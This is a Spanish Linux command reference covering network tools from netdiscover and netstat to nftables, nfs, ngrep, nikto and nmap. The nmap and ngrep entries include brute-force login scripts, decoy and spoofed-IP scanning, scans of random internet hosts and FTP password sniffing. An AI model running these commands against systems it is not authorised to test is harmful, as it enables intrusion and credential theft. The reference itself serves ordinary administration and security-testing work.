```

```
# netdiscover -r 192.168.1.0/24 -i eth1
especificando rango de ips
```

## netfilter-persistent

[iptables-persistent] Ver este paquete.

## nethogs

Visualiza procesos que están consumiendo más ancho de banda en el sistema

```
# nethogs
uso básico. Por defecto el dispositivo es eth0

# nethogs eth0 eth1
especificando dos redes

# nethogs -t eth1
en modo traza y especificando red

# nethogs -d 5 eth1
Actualizando datos cada 5 segundos

# nethogs -p
modo promiscuo. Segun documentación no recomendado
```

Pulsando:

```
m --> Se cambian las unidades de medida a KB/s, B/s y MB/s
s --> Ordenar por los datos enviados
r --> Ordenar por los datos recibidos
q --> Salir
```

## netload

[netdiag]. Muestra la carga en la interfaz de red sin usar la propia interfaz. netload simplemente accede a las estadísticas del kernel. El archivo \$HOME/.netloadrc permite agregar cualquier cantidad de interfaces de red, modificar la configuración de alarma y las preferencias de correo electrónico.

```
# netload eth0 -t 2
actualizando cada 2 segundos
```

## netmask

Determina el conjunto más pequeño de máscaras de red para especificar un rango de hosts. Programa útil si se trabaja con firewalls o enrutadores.

```
$ netmask -d -s -c localhost
máxima información, salida estandar y formato CIDR de salida
```

Nota.- El sistema de direcciones IP tal como lo utilizamos actualmente [IPv4], hace tiempo que está agotado. Todas las direcciones posibles [al menos 4.294.967.296] ya han sido asignadas. Hace unas décadas hubo que pensar en una solución para resolver el problema. CIDR ayuda a ampliar la cantidad de direcciones disponibles.

## netpbm

Conjunto de herramientas para manipulación de imágenes que permiten convertir entre muchos formatos gráficos conocidos [gif, bmp, jpg...] a un formato interno, o bien del formato interno a los formatos conocidos. Los formatos internos que utiliza son .ppm [Portable Pixel Map] para imágenes en color, .pgm [Portable Gray Map] para imágenes en escala de grises, y .pbm [Portable Bit Map] para imágenes formadas por bits de blanco y negro. A veces estos formatos aparecen bajo la extensión general .pnm, que abarca a todos ellos. Incluye más de 200 aplicaciones, tales como: jpegtopnm, pnmtojpeg, bmtoppm [man netpbm para un listado detallado], muchos de estos formatos estan practicamente en desuso.

```
$ pbmtoascii -2x4 imagen.pbm
convertir .pbm a ascii. Para mayor resolución -lx2
```

## netperf

Medir el rendimiento de la red. Ha de instalarse en el cliente y en el servidor. Utiliza el puerto 12865.

```
# nmap -O -p 12865 localhost | grep tcp
comprobar si el puerto esta abierto
```

12965/tcp closed unknown

```
# nmap localhost -p 12865 | grep tcp
abrir el puerto
```

2865/tcp open unknown

```
# netperf -H localhost
```

## netplug

Demonio que monitorea el estado del enlace de las tarjetas de red y configura la red en eventos de conexión y desconexión. Es similar a ifplugd, pero usa NETLINK en lugar de sondear regularmente el estado del enlace. Esto mejora el consumo de energía con las computadoras portátiles, pero no funciona con todas las tarjetas.

## netproc

monitorea el tráfico de la red e intenta averiguar a qué proceso pertenece este tráfico; esto es útil para identificar los procesos que consumen recursos de la red y solucionar problemas.

```
# netproc -i enpls0
forma básica especificando la interfaz. Por defecto todas
```

```
# netproc -p tcp -c -f "netproc.txt"
visualizar cada acción activa del proceso tcp y guardar datos en el archivo especificado en el
directorio actual
```

## netr

Monitor de interfaz de red simple que muestra estadísticas de tráfico

```
$ netr
```

## netrik

Navegador WWW avanzado en modo texto. Su propósito es dar acceso a la mayor cantidad de Web posible en modo texto, sin renunciar a ninguna comodidad. La interfaz de usuario se parece más o menos a una combinación de gVim y PINE. El problema actual [2020] es que netrik no admite HTTPS ni IPv6 todavía.

## netselect

Probar la velocidad de los servidores de red para elegir el más rápido. Puede procesar una lista de servidores y elegir el más rápido/más cercano automáticamente.

```
# netselect -vv -t 20 http://deb.debian.org/debian/
más cantidad de información [-v, -vv, -vvv] y probando 20 paquetes de envío [por defecto 10]
```

```
# netselect -vv -s 5 http.us.debian.or
que muestre los 3 mejores servidores y el del final sea el mejor
```



## netsniff-ng

Es un sniffer de red de alto rendimiento para la inspección de paquetes. Se puede usar para análisis de protocolo, ingeniería inversa o red de depuración. El kit de herramientas netsniff-ng actualmente consta de las siguientes utilidades:

- netsniff-ng - analizador de paquetes de zero-copy. Herramienta de captura/reproducción pcap
- trafgen - generador de paquetes de red multiproceso de bajo nivel y zero-copy
- mausezahn - generador de paquetes de alto nivel para dispositivos con Cisco-CLI
- ifpps - herramienta de estadísticas de sistema y redes de kernel de primer nivel
- curvetun - túnel IP multiusuario ligero basado en la curva25519
- Astraceroute - ruta de seguimiento del sistema autónomo y utilidad de prueba DPI
- Flowtop - herramienta de seguimiento de conexión de filtro de red superior
- bpfcc - compilación BPF (filtro de paquete Berkeley), desmontaje JIT

## netstat

Puertos y conexiones.

```
# netstat --inet --all
```

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State
tcp	0	0	localhost:832	*:*	LISTEN
tcp	0	0	localhost:2208	*:*	LISTEN
...					

Proto.- protocolo, Recv-Q.- paquetes recibidos, Send-Q.- paquetes enviados, Local Address.- dirección local, Foreign Address.- dirección remota, State.- estado de la conexión (listen = a la escucha).

```
# netstat -ac
puertos abiertos, donde se dirigen y de donde vienen
```

```
# netstat -atu | grep '*.*'
Ver todos los servicios que ofrece la máquina
```

```
# netstat -ta
Lista los servidores que estén corriendo en el sistema
```

```
# netstat -rn
Muestra la tabla de enrutamiento
```

```
# netstat -an
Máxima información de nuestra conexión
```

```
# netstat -i
Tablas de Interfaces de red
```

```
# netstat -e
información extendida
```

```
# netstat -p
numero de PID y servicio que está corriendo
```

```
# netstat -c
Lista continua
```

```
# netstat -l
Sockets a la espera
```

```
# netstat -napt
puertos abiertos y servicios que corren
```

```
# netstat -pan | grep ESTABLISHED
```

```
# netstat -luntp | grep LISTEN | awk '{print $7}'
```

```
# netstat -l | grep tcp
```

```
# netstat -antp | grep ssh
preguntar como está un servicio
```

```
# netstat | awk '/EST/{print $5}' | sort
lista de conexiones establecidas
```

```
# netstat -an | grep -Ec '^tcp.+ESTABLISHED$'
Muestra conexiones tcp
```

```
# netstat -tpee
información sobre las conexiones a internet
```

```
# netstat -tunlp
Muestra servicios activos y a la escucha, pid y puertos
```

```
# if (nc -zw2 lapipaplenu.homelinux.com 80); then echo open; fi
Preguntar si el puerto de un host está abierto
```

```
# netstat -nt | awk '{print $6}' | sort | uniq -c | sort -n -k 1 -r
Cantidad y estado de los puertos abiertos
```

```
# netstat -luntp | grep LISTEN | awk '{print $7}'
pid de los servicios en LISTEN y demonio que corre en ellos
```

```
# netstat -n -p|grep SYN_REC | wc -l
Muestra si estamos sufriendo un ataque ddos
```

```
# netstat -lantp | grep ESTABLISHED |awk '{print $5}' | awk -F: '{print $1}' | sort -u
Todas las ip conectadas a nuestro host
```

```
# netstat -plan | grep :80 | grep ESTABLISHED | awk '{print $5}' | cut -d: -f 1 | sort | uniq -c
| sort -n
Otra forma de mostralas
```

```
# netstat -plan | grep :80 | awk '{print $5}' | cut -d: -f 1 | sort | uniq -c | sort -n
```

(Muestra el número de peticiones al puerto 80 por cada IP)

```
# netstat -plutn
```

Explicación de los Flags:

```
G (La ruta utiliza una pasarela)
U (La interfaz está activa)
H (Esta interfaz permite el acceso a una sola máquina)
D (Esta ruta es creada dinámicamente)
M (estee registro ha sido modificado por un mensaje de redirección ICMP)
! (La ruta es una ruta de rechazo y los datagramas serán descartados)
Nota.- la dirección externa si no es 0.0.0.0.* significa que alguien le está hablando activamente.
```

Otras opciones:

```
-o (indica el número del proceso asignado a la conexión)
-s (muestra las estadísticas detalladas para cada protocolo)
-t (muestra solo las conexiones activas por TCP)
-u (muestra solo las conexiones activas por UDC)
```

## netstress

Utilidad cliente/servidor diseñada para comparar la actividad de la red de un dispositivo o ruta Ethernet determinada utilizando datos y tamaños de paquetes simulados (aleatorios) del mundo real en lugar de datos y tamaños de paquetes fijos.

```
# netstress -v -m localhost -h 37.128.231.132 -w
con la máxima información, especificando nombre del host y la ip y hacer sólo prueba de escritura
lectura/escritura
```

## netttlet-hash

Generar claves de ficheros

```
$ netttlet-hash --list
lista los algoritmos que pueden usarse
```

```
$ netttlet-hash -a sha224 fichero
```

## netwatch

[netdiag]. Examina todos los paquetes que viajan en una red Ethernet y analiza los paquetes IP. La información se cuenta de acuerdo con los hosts de origen y destino. Una pantalla ncurses indica un estado de lista dual para todos los hosts. La zona izquierda se refiere a hosts LOCALES. La lista de la derecha se refiere a hosts REMOTOS. Es posible examinar estadísticas sobre el número de paquetes, bytes, tipo de servicio IP y último host de comunicación para cada host. Con las teclas de flecha (izquierda y derecha) se cambia la visualización.

```
# netwatch -n -e eth0
no resolviendo las ips de la interfaz eth0
```

## network-test

[ifupdown-extra]. Chequea y verifica que la red funciona como es debido.

```
# network-test
```

## netwox

Este comando proporciona un menú con más de 200 herramientas [sniffers, spoofing, udp/tcp clients/servers, scan, ping, DNS, FTP, HTTP, IRC, NNTP, SMTP, SNMP, SYSLOG, TELNET, TFTP] para encontrar y resolver problemas de red.

```
# netwox
entrar en el menú
```

Control-c para cerrar el menú

## newgrp

Al ingresar un usuario en el sistema tiene predeterminado un grupo principal con un gid concreto con unos permisos determinados para la creación de ficheros y directorios, pero puede estar asignado a más de un grupo con distinto gid. Para cambiarse a uno de estos otros grupos:

```
$ newgrp grupol
```

Para volver a su grupo primario:

```
# exit
```

## newpid

Lanzar un comando con un nuevo PID.

```
# newpid htop
```

## newsbeuter

Lector RSS en consola

```
$ newsbeuter -i archivo.opml
cargar los feeds de otra aplicación
```

```
$ newsbeuter -r
arrancar la aplicación obteniendo todas las fuentes
```

```
$ newsbeuter -e
exportar las fuentes a un archivo
```

Algunos atajos [newsbeuter -h]:

```
q (Subir pantalla/salir de la aplicación)
Q (Salir de la aplicación)
C (Marcarlos todos como leídos)
A (Fuente leída)
n (Pasar a siguiente fuente no leída)
p (Pasar a la anterior fuente no leída)
o (Abrir noticia en el navegador [lynx por defecto ])
u (Ver listado de URLs de la noticia, Introduciendo el índice la abre)
/ (Abrir búsqueda)
? (Abrir diálogo de ayuda)

1.-
```

Algunos ajustes en el archivo de configuración:

```
$ nano .newsbeuter/config
```

```
## Leer fuentes al arrancar la aplicación:
```

```
auto-reload yes
```

```
## Releer las fuentes cada 15 minutos:
```

```
reload-time 15
```

```
## Guardar los artículos 15 días:
```

```
keep-articles-days 15
```

```
## Navegador que abre la noticia [elinks para ssh y firefox para las X]
```

```
#browser "elinks %u"
```

```
browser "firefox %u"
```

```
## No usar sonido indicando nuevas noticias:
```

```
notify-beep no
```

```
## Salir sin confirmación:
```

```
confirm-exit no
```

```
## Usar mplayer para los videos [en las X]
```

```
player "mplayer %u"
```

```
#### colores soportados: black, red, green, yellow, blue, magenta, cyan y white.
```

```
#### Los atributos que pueden especificarse son: standout [Cursiva],
```

```
#### underline [Subrayar], reverse [Invertir colores de letra y fondo],
```

```
#### blink [parpadearar], dim [oscurecer] y bold [negrita]
```

```
## Fondo de pantalla: letra amarilla y fondo negro:
```

```
color listnormal yellow black
```

```
## Línea de foco: letra roja y fondo blanco:
```

```
color listfocus red white
```

```
## Primera línea superior y penúltima inferior: letra blanca en negrita y fondo rojo
```

```
color info white red bold
```

## N

```
## Linea inferior de notificaciones: letra azul en negrita con fondo negro
```

```
color background blue black bold
```

```
## Como se muestran los articulos: letra cyan con fondo negro:
```

```
color article cyan black
```

```
## Foco en nueva noticia no leida: letra blanca en cursiva con fondo amarillo:
```

```
color listfocus_unread white yellow standout
```

```
## Nuevas noticias no leidas: letra azul con fondo magenta:
```

```
color listnormal_unread blue magenta
```

2.-

Para incorporar los feeds de google reader editar o crear si no existe:

```
$ nano .newsbeuter/config
```

texto que se tiene que agregar:

```
urls-source "googlereader"
googlereader-login "login_de_googlereader"
googlereader-password "contraseña"
```

## newsboat

Lector de noticias RSS. Descargar de <<http://github.com/newsboat/newsboat.git>>

Los feeds se han de colocar en un archivo de texto, por ejemplo, feeds.txt con el siguiente formato:

```
<a title="Linkification: https://site.com/feed/" href="https://site.com/feed/" class="linkification-
ext">https://site.com/feed/</a>
```

Lanzar la aplicación:

```
$ newsboat -ru rss feeds.txt
-u es para indicar el archivo de texto que contiene los feeds y -r para que se actualicen
```

Para abrir noticia en el navegador pulsar "o" y para salir "q"

## nftables

Herramienta que proporciona filtrado y clasificación de paquetes que reemplaza frameworks existentes (iptables, ip6tables, arptables y ebtables). Podemos comprobar si la instalación se ha efectuado correctamente arrancando el modulo con:

```
# modprobe nf_tables
```

```
# modprobe nf_tables_ipv4
```

Y verificando si está en uso:

```
# lsmod | grep nf_tables
```

Formas de uso:

```
# nft list tables
ver el listado de tablas
```

```
# nft list tables ip
ver listado de la familia ip
```

```
# nft list table ip filter
ver el contenido de una tabla
```

```
# nft add table ip filter
```

## N

```
agregar tablas
```

```
# nft delete table ip filter
eliminar tablas
```

```
# nft flush table ip filter
eliminar todas las reglas de una tabla
```

```
# nft add chain ip filter input { type filter hook input priority 0 \; }
agregar cadenas [nat, filter i route]
```

```
# nft delete chain ip filter input
eliminar cadenas
```

```
# nft add rule ip filter input tcp dport 80 drop
agregar una regla
```

```
# nft delete rule ip filter input handle 2
eliminar regla
```

```
# nft add rule filter input iifname eth0 tcp dport 80 counter accep
aceptar paquetes en el puerto 80
```

```
# nft add rule filter input tcp dport 1-1024 counter drop
bloquear tráfico en los puertos del 1 al 1024
```

## nfs

[nfs-kernel-server]. Servidor de archivos.

En el Servidor:

```
# nano /etc/exports
Para especificar carpetas que se van a compartir
```

Formato de las carpetas que se comparte:

```
/home/usuario/datos 192.168.1.0/24(rw,no_root_squash, sync)
```

opciones:

192.168.1.0/24 (Compartida por un rango de ips)

192.168.1.8 (Solo para una ip)

rw (lectura y escritura)

no\_root\_squash (permite a root del cliente accesos root en el servidor)

async (No sincronizando los datos)

sync (Sincronizando los datos)

```
# /etc/init.d/nfs-kernel-server restart
reiniciar demonio
```

```
# exportfs -a
Releer el archivo exports si se ha modificado
```

En el Cliente

```
# apt-get install nfs-common
Instalar cliente
```

```
# mount -t nfs 192.168.1.8:/home/usuario/datos /media/servidor
```

Si se desea en el fstab, colocar la linea:

```
# nano /etc/fstab
```

```
192.168.1.2:/home/usuario/datos /media/servidor nfs rw,user 0 0
```

## nfslogsum

Resume los archivos de registro producidos por el programa nfswatch. Por defecto se resume el archivo de registro nfswatch.log

```
# nfslogsum -n 10
las 10 primeras entradas
```

## nfsstat

Consulta datos sobre el servidor NFS

```
# nfsstat -m
Muestra datos de los puntos de montaje solamente
```

## nfswatch

Herramienta para monitorizar el tráfico NFS. Puede capturar y analizar los paquetes NFS en una interfaz de red particular o en todas las interfaces. También monitorea el tráfico de respuesta NFS desde un servidor para medir el tiempo de respuesta de cada RPC.

```
# nfswatch
entra en el prompt de la aplicación
```

Una vez dentro pueden usarse algunas teclas:

```
a (mostrar estadísticas sobre usuarios individuales)
c (mostrar estadísticas sobre hosts de clientes)
p (mostrar estadísticas sobre procedimientos)
s (tomar una "instantánea" de la pantalla actual y guardarla en un archivo)
- (disminuye el tiempo de ciclo. Por defecto diez segundos)
+ (aumenta el tiempo del ciclo)
< (disminuye el tiempo de ciclo en un segundo)
> (aumenta el tiempo del ciclo en un segundo)
q (salir)
```

```
# nfswatch -all
todos los paquetes desde y hacia la red local
```

## ngrep

Herramienta para monitorear el tráfico de red. Grep para tráfico de red.

```
# ngrep port 80
captura todo lo que use el puerto 80
```

```
# ngrep -d eth0 port 80
especificando una interfaz de red
```

```
# ngrep -d eth0 "Host:" port 80
Buscar una expresión en el tráfico
```

```
# ngrep -d eth0 -W byline "Host:" port 80
mostrar la salida por línea
```

```
# ngrep -e -x PASS
introduciendo una cadena en la búsqueda y mostrando lo que no coincida con ella
```

```
# ngrep b
captura todo usando el filtro por defecto
```

```
# ngrep port 80 -O archivo
redirige la salida a un archivo
```

Nota.- Las almoadillas (#) son paquetes que no cumplen la expresión regular.

Otras usos:

```
# ngrep -dl -w -i user|pass port 21
```

## nice

(Ver renice). Prioridad de un comando o aplicación. Por defecto 10

```
# nice -n -10 cdrecord
```

Nota.- Valores, de mayor (-20) a menor (19). Sólo root puede establecer valores negativos.

## nicstat

Imprime estadísticas de red para todas las tarjetas de red.

```
# nicstat -x
ver salida extendida
```

```
# nicstat 5 4
Imprimir estadísticas para todas las interfaces cada 5 segundos 4 veces
```

```
# nicstat -t
ver estadísticas TCP
```

```
# nicstat -u
ver estadísticas UDP
```

```
# nicstat -a
muestra las estadísticas x, t i u
```

```
# nicstat -i eth0,eth1 3
Imprimir estadísticas cada 3 segundos solo para las interfaces eth0 y eth1
```

## nictools-pci

Herramientas que pueden ayudar a diagnosticar problemas con tarjetas Ethernet o, en algunos casos, darles a esas tarjetas la pista final para que funcionen en la red. El paquete está intregado por los siguientes comandos: alta-diag, eepr0100-diag, epic-diag, myson-diag, natsemi-diag ne2k-pci-diag, ns820-diag, pci-config, pcnet-diag, rtl8139-diag, starfire-diag, tulip-diag, via-diag, vortex-diag, winbond-diag y yellowfin-diag.

```
# pci-config
```

```
# rtl8139-diag -a
```

## nield

Daemon para recibir notificaciones del núcleo a través del socket de enlace de red y generar registros relacionados con las interfaces NIC [network information service]. Una vez arrancado el daemon [/etc/init.d/nield start] visualizar los logs en /var/log/nield.log.

## nikto

[libnet-ssleay-perl libwhisker-perl nmap]. Herramienta de escaneo de servidores web que efectua diferentes comprobaciones tales como, detección de malas configuraciones y vulnerabilidades, detección de ficheros, estructura del servidor, versiones y fechas de actualizaciones de servidores, ataques de fuerza bruta por diccionario, reportes en formatos txt, csv, html, etc.

```
# nikto -update
Actualizar la aplicación
```

```
# nikto -h host_a_analizar -p 80
Especificando puerto
```

```
# nikto -h 127.0.0.1:80
Otro modo de especificar host y puerto
```



## N

```
# nikto -h localhost -p 443 -ssl
Especificando puerto y protocolo
```

```
# nikto -h localhost -p 443,80 -Format html -output resultado
para dos puertos, salida en formato html y con nombre de archivo
```

```
# nikto -h archivo
a partir de un archivo con una ip o host por linea
```

## nitrogen

Gestión de fondos de pantalla para escritorios ligeros.

```
$ nitrogen /home/usuario/imagenes/linux.png
Poner una imagen
```

```
$ nitrogen --restore
Restablecer la imagen despues de un reinicio. Normalmente se coloca en las opciones de inicio, por
ejemplo en openbox, se colocaría en .config/openbox/autostart con la sintaxis: nitrogen --restore
&
```

## nl

Muestra en pantalla un archivo de texto con las lineas numeradas. No modifica el archivo.

```
$ nl fichero.txt
```

```
$ nl fichero.txt > fichero_numerado.txt
```

## nload

Monitor de tráfico de red

```
# nload
```

## nm

Lista las funciones de una biblioteca o programa compilado

```
$nm fichero.o
```

## nmap

Rastrear puertos.

Estados de los puertos:

```
abierto (Una aplicación acepta conexiones TCP o paquetes UDP en este puerto indicando qué
servicio está corriendo)
cerrado (Recibe y responde a las sondas de Nmap, pero no tiene una aplicación escuchando
en él)
filtrado (No puede determinar si el puerto está abierto porque un filtrado de paquetes
previene que sus sondas lo alcancen)
no filtrado (Indica que el puerto es accesible pero que Nmap no puede determinar si se
encuentra abierto o cerrado)
abierto|filtrado (Nmap marca a los puertos en este estado cuando no puede determinar si el
puerto se encuentra abierto o filtrado)
Entrada de los objetivos cuando no se realiza por la linea de ordenes:
```

```
-iL ips.txt (Desde una lista de ips colocadas una por linea en el archivo ips.txt)
-iR 100 (Scanear 100 ips aleatoria. Con -iR 0 el escaneo no termina nunca.)
Técnicas de sondeos de puertos que soporta Nmap:
```

-sA [sondeo TCP ACK] (Este sondeo no puede determinar puertos abiertos o abiertos|filtrados. Se utiliza para mapear reglas de cortafuegos, y para determinar si son cortafuegos con inspección de estados y qué puertos están filtrados.

-sL [Sondeo de lista] (lista los objetivos a analizar sin enviar paquetes de ningún tipo a los objetivos)

-sM [sondeo TCP Maimon] (El sondeo Maimon debe su nombre a la persona que lo descubrió: Uriel Maimon . Describió la técnica en la revista Phrack número 49 (noviembre de 1996). Nmap, que incluye esta técnica, se publicó dos números más tarde. Esta técnica es exactamente la misma a los sondeos Null, FIN, y Xmas, pero en los que se envía una sonda FIN/ACK. Según el RFC 793 (TCP), se debería generar un paquete RST cuando se responde a dicha sonda independientemente de si el puerto está cerrado o abierto. Uriel se dio cuenta, sin embargo, de que muchos sistemas derivados de BSD simplemente descartan el paquete si el puerto está abierto.

-sN, -sF, -sX [sondeos TCP Null, FIN, y Xmas] (Estos sondeos aprovechan una indefinición en la RFC de TCP que diferencia los puertos abiertos y cerrados. La ventaja fundamental de este tipo de sondeos es que pueden atravesar algunos cortafuegos que no hagan inspección de estados o encaminadores que hagan filtrado de paquetes. Otra ventaja es que este tipo de sondeos son algo más sigilosos que, incluso, un sondeo SYN. Un problema de estos sondeos es que no se puede distinguir los puertos abiertos de algunos puertos filtrados, lo que resulta en la respuesta abierto|filtrado.

-sO [sondeo de protocolo IP] (Este sondeo permite determinar qué protocolos [TCP, ICMP, IGMP, etc.] soportan los sistemas objetivo. Esto no es, técnicamente, un sondeo de puertos, dado que cambia los números de protocolo IP en lugar de los números de puerto TCP ó UDP.

-sP [sondeo ping] (Sólo determina si el objetivo responde. Metodo intrusivo)

-sS [sondeo TCP SYN] (Es el utilizado por defecto. Puede sondear miles de puertos por segundo en una red rápida sin cortafuegos y es relativamente sigiloso y poco molesto, ya que no llega a completar las conexiones TCP)

-sT [sondeo TCP connect()] (Es el sondeo por omisión cuando no se puede utilizar el sondeo SYN. Al realizar conexiones completas para abrir los puertos objetivo en lugar de realizar el reseteo de la conexión medio abierta como hace el sondeo SYN implica que tarda más tiempo y son necesarios más paquetes para obtener la información y que muy probablemente el sistema objetivo va a registrar la conexión.)

-sU [sondeos UDP] (Los 3 servicios UDP más comunes son: DNS [53], SNMP [161/162], y DHCP [67/68]. Los sondeos UDP funcionan mediante el envío (sin datos) de una cabecera UDP para cada puerto objetivo. Si se obtiene un error ICMP indica que el puerto no es alcanzable y se marca como cerrado. Si se recibe cualquier error ICMP no alcanzable se marca el puerto como filtrado. Si se recibe una respuesta al paquete UDP el puerto está abierto. Si no se ha recibido ninguna respuesta después de algunas retransmisiones entonces se clasifica el puerto como abierto|filtrado. Esto significa que el puerto podría estar abierto o que hay un filtro de paquetes bloqueando la comunicación. Puede utilizarse el sondeo de versión (-sV) para diferenciar los puertos abiertos de los filtrados.

-sV [Sondear versiones] (Sondea puertos abiertos para obtener información de la versión del servicio .

-sW [sondeo de ventana TCP] (Aprovecha de un detalle de implementación de algunos sistemas que permite diferenciar puertos abiertos de los cerrados, en lugar de imprimir no filtrado cuando se devuelve un RST.)

--scanflags [Sondeo TCP a medida] (Esta opción permite diseñar su propio sondeo mediante la especificación de banderas TCP arbitrarias y puede ser un valor numérico como el 9 (PSH y FIN), aunque es más sencillo utilizar nombres simbólicos juntando la combinación de URG, ACK, PSH, RST, SYN, y FIN [--scanflags URGACKPSHRSTSYNFIN] donde se fijan todas las banderas, aunque no es muy útil para sondear. Este es un método de sondeo avanzado que permite hacer un sondeo de puertos TCP a ciegas de verdad lo que significa que no se envía ningún paquete al sistema objetivo desde su dirección IP real por lo que es extraordinariamente sigiloso)

Descubrimiento de sistemas:

-P0 [No realizar ping] (Nmap no realiza la etapa de descubrimiento y actua como si cada Ip objetivo se encontrara activa)

-PA22,445 [Ping TCP ACK] (Envía un paquete TCP vacío con la bandera ACK a una lista de puertos separados por comas para determinar si responden.

-PS21,22,25,80 [Ping TCP SYN] (Envía un paquete TCP vacío con la bandera SYN a una lista de puertos separados por comas para saber si el sistema responde.)

-PU445,5000 [Ping UDP] (Envía paquetes UDP vacíos a los puertos indicados para indicar si el sistema responde. Atraviesan cortafuegos y filtros que sólo analizan TCP)

-PR [Ping ARP] (El sondeo ARP detecta máquinas en la red local)

Especificación de puertos:

```
-p 21,22 (Separados por comas)
-p- (Todos los puertos de 0 al 65535)
-p 1-1023 (Del 1 al 1023)
-F (escanear los 100 puertos más usados)
-r (Analizar los puertos de forma secuencial. Por defecto se analizan de forma aleatoria)
Formatos de salida:
```

```
-oN archivo (Redirigir la salida a un archivo especificado)
-oX archivo.xml (Redirigir a un archivo xml)
-oS archivo (Redirigiendo a una salida humorística sobre los script kiddies)
Otras opciones:
```

```
-A (Opciones de sondeos agresivos. Activa detección de sistema operativo [-O] y el
análisis de versiones [-sV]).
-n (No realizar resolución DNS de las direcciones IP activas que encuentre)
-R (Realizar resolución DNS de todos los objetivos)
-O (Averiguar el sistema operativo)
-O --osscan-guess (Averiguar el sistema operativo forzándolo a identificarse)
-D 192.168.1.12,192.168.1.13,192.168.1.14 IP_OBJETIVO (Especificando ips falsas separadas
por comas para emmascarar la nuestra)
-T4 (Tiempo de sondeo desde muy lento y fiable [0] a muy rápido e impreciso [5])
-S IP (Especificando una IP falsa)
-v (Incrementar el nivel de detalle. -vv mayor incremento de detalle)
nmap scripts
```

funcionalidad de nmap que permite la realización de diversas tareas de descubrimiento, detección, explotación de diversas vulnerabilidades, etc. Listado en <http://nmap.org/nsedoc/index.html> y en local: /usr/share/nmap/scripts/:

Categorías:

auth (Identifican credenciales de autenticación en el sistema objetivo frecuentemente por fuerza bruta [ftp-anon, snmp-brute, http-auth...])

broadcast (Realizan un escaneo broadcast en toda la red objetivo sin necesidad de indicar los host de forma manual. utilizando el argumento newtargets se indica a Nmap incluir los host descubiertos en la pila de escaneo.)

default (Conjunto de scripts que tratan de capturar la mayor cantidad de información de un objetivo a costa de generar mucho ruido en el sistema remoto.)

discovery (Tratan de mapear los host de la red [registros públicos, dispositivos SNMP, servicios de directorio...])

dos (Intentan causar denegación de servicio sobre un servicio determinado.)

exploit (Tratan de detectar y explotar algún tipo de vulnerabilidad sobre el objetivo.)

external (Los que se comunican con otros hosts distintos del local. Pueden enviar a una fuente externa la IP del objetivo y del atacante.)

fuzzer (Envían datos aleatorios, inesperados o incompletos, con el fin de detectar posibles vulnerabilidades en servicios)

intrusive (Intentan utilizar grandes recursos del sistema objetivo que pueden incluso inutilizarlo)

malware (Intentan determinar si el objetivo se encuentra infectado con malware o backdoors [smtp-strangeport y auth-spoof])

safe (Scripts poco intrusivos diseñados para no afectar ni dañar el objetivo [ssh-hostkey o html-title])

## N

version (Diseñados para identificar versiones concretas de servicios. Se ejecutan solo si el escaneo tiene la opción Scan Version [-sV])

vuln (Dedicados a la detección de vulnerabilidades pero no su explotación [realvnc-auth-bypass y afp-path-vuln])

Opciones:

```
# nmap --script-args <argumentos>
```

Se trata de un conjunto de argumentos que se suministran a los Scripts que admiten parámetros para configurar su ejecución.

```
# nmap --script citrix-brute-xml --script-args=userdb=usernames.lst,passdb=passwords.lst,ntdomain=domain -p 80,443,8080 IP
```

```
# nmap --script auth --script-args userdb=usernames.lst,passdb=passwords.lst IP
```

usernames.lst (base de datos de usuarios. Personalización en /usr/share/nmap/nselib/data/usernames.lst)

passdb (base de datos de contraseñas. Personalización en /usr/share/nmap/nselib/data/passwords.lst)

ntdomain (dominio nt del servidor- previamente ha de averiguarse)

Nota.- En algunos scripts las bases de datos usuarios/paswwords .lst se usan por defecto.

Mostrar información

```
--script-help vuln (De una categoria)
--script-help openlookup-info.nse (De un script)
--script-help all (De todo)
--script-trace (toda la comunicación entrante y saliente ejecutada por los scripts es impresa en pantalla)
```

Actualizaciones:

```
--script-db (Actualiza la base de datos localizada en scripts/script.db. Útil si se ha añadido o suprimido alguno)
--script-updatedb (Actualiza los scripts de la base de datos)
```

Ejemplos:

```
# nmap -iR 10000 -p 80
```

Selecciona objetivos al azar por el puerto 80

```
# nmap -sP IP
```

Sondeo Ping. Para detectar equipos de una red

```
# nmap -P0 IP
```

Asume que todos los objetivos están vivos

```
# nmap -PS -p 137-139 IP
```

Análisis TCP de los puertos indicados

```
# nmap -PE IP
```

Análisis ICMP del tipo echo

```
# nmap -PI IP
```

Utiliza paquetes icmp para determinar que hosts están conectados y es especial si deseas hacer un scan a través de un firewall

```
# nmap -sF IP
```

Análisis sigiloso

```
# nmap -sW IP
```

especial para máquinas windows

```
# nmap -sX IP
```

Análisis Xmas

```
# nmap -sS -A -p 1-65535 IP
```

escanear todos los puertos [-p...] TCP [-sS] y detectar las versiones del software [-A] de forma silenciosa

```
# nmap --version-all IP
```

```
Utilizar todas las sondas con intensidad 9 -máxima
```

```
# nmap -p 1-65535 --open localhost
lista de puertos abiertos
```

```
# nmap -p 80 hostname
determina si el puerto 80 está abierto
```

```
# nmap -sn 192.168.1.0/24
descubrir máquinas conectadas de una red
```

```
# nmap -v -sP 192.168.1.0/24 | grep down | wc -l
Ips disponibles en una red
```

```
# nmap -p- localhost
rastrear todos los puertos
```

```
# nmap --iflist
Muestra la lista de interfaces de red y rutas
```

```
# nmap 192.168.0.* --exclude 192.168.0.100
Excluir un host del escaneo de una red
```

```
# nmap --iflist
encontrar la interfaz y la información del propio host
```

Con scripts

```
# nmap --script="http-* and not http-enum" IP
filtro AND y NOT. Para usar todos los scripts http pero no los de enumeración
```

```
# nmap --script malware IP
Usará todos los scripts de la categoría "malware"
```

```
# nmap -sC IP
Usar todos los de la categoría "default" [-sC]
```

```
# nmap -PN -p81 --script http-iis-webdav-vuln IP
Buscando vulnerabilidades Webdav
```

```
# nmap --script-trace --script smb-check-vulns -p445 IP
Detectar Conficker, gusano informático que apareció en octubre de 2008, que ataca sistemas Windows
```

```
# nmap -sU --script=citrix-enum-servers -p1604 IP
explorar si hay algún servidor o granja citrix y realizar una enumeración de las aplicaciones publicadas
```

```
# nmap -P0 -n -sS -p445,139 --script=smb-security-mode IP
```

```
# nmap --script vnc-brute 127.0.0.1
```

```
# nmap -p 22 --script ssh-hostkey host
especificando puerto
```

```
# nmap -p 5900 --script vnc-brute --script-args passdb=/home/USER/wordlist host
usando un diccionario
```

```
# nmap --script mysql-brute 192.168.1.1-255
escaneo de rangos
```

```
# nmap --script vnc-brute localhost
contra un host con vnc a la escucha
```

```
# nmap -sV --script=ftp-brute IP
```

```
# nmap --script ftp-brute --script-args userdb=/tmp/users IP
```

```
# nmap --script ftp-brute --script-args userdb=/tmp/users,passdb=/tmp/passwds IP
```

```
